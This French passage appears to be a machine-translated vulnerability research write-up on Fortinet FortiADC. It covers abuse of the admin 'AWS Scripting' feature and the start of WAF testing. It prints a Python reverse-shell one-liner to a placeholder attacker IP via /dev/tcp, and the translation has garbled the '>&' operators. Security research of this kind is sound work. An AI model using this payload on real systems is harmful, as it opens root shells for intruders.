Après avoir déployé une instance du produit, ses composants ont été analysés. L'une des premières choses qui a été identifiée est la fonctionnalité dite "AWS Scripting" qui permet à un administrateur d'effectuer certaines tâches de gestion en téléchargeant des scripts Python et en les exécutant :
"FortiADC fournit la méthode d'exécution de n'importe quelle API AWS pour les utilisateurs - Les utilisateurs peuvent télécharger un script Python vers FortiADC (système > page AWS Scripting) avec un paramètre de groupe de trafic et exécuter le script sur le FortiADC auquel appartient son groupe de trafic."
En d'autres termes, cela signifie que les utilisateurs sont autorisés à exécuter des scripts Python arbitraires sur le serveur d'application. Qu'est-ce qui peut mal tourner ? Cette fonctionnalité peut être utilisée de manière abusive en téléchargeant et en exécutant le script suivant pour créer un shell inversé sur une machine contrôlée par l'attaquant.
import os ; os.system("bash -i >et /dev/tcp/<attacker-ip>/<port> 0>et1")
Il a été décidé de ne pas signaler ce problème au fournisseur car il faisait partie de la fonctionnalité prévue à la disposition de l'administrateur, et il a été prévu que le fournisseur ne le considère pas comme une faille de sécurité. Néanmoins, étant donné que l'interface de gestion SSH du FortiADC s'est avérée assez restreinte et n'a fourni qu'un moyen d'interagir avec certains composants de l'application, l'obtention d'un accès au système d'exploitation pourrait faciliter une analyse plus approfondie de l'application. Il convient également de mentionner que l'application prête à l'emploi fonctionne en tant qu'utilisateur root.
L'exécution de commandes à distance est généralement considérée comme un Actifs critiques dans le cadre de la recherche de vulnérabilités. C'est pourquoi nous avons tenté d'identifier les moyens de la déclencher du point de vue des utilisateurs non authentifiés. Cependant, comme aucun problème d'authentification ou d'autorisation n'a été identifié, il a été décidé de passer de l'attaque de l'interface de gestion elle-même à l'identification des failles dans la façon dont le FortiADC traite les demandes de ressources derrière l'équilibreur de charge et le pare-feu d'application web (WAF). Pour ce faire, un simple serveur web a été déployé séparément et configuré pour être géré par l'équilibreur de charge intégré du FortiADC. Le composant WAF a également été activé pour le groupe d'équilibrage de charge correspondant. Une simple application web a été déployée sur le serveur web derrière l'équilibreur de charge, qui ne renvoie que les paramètres soumis avec les requêtes entrantes.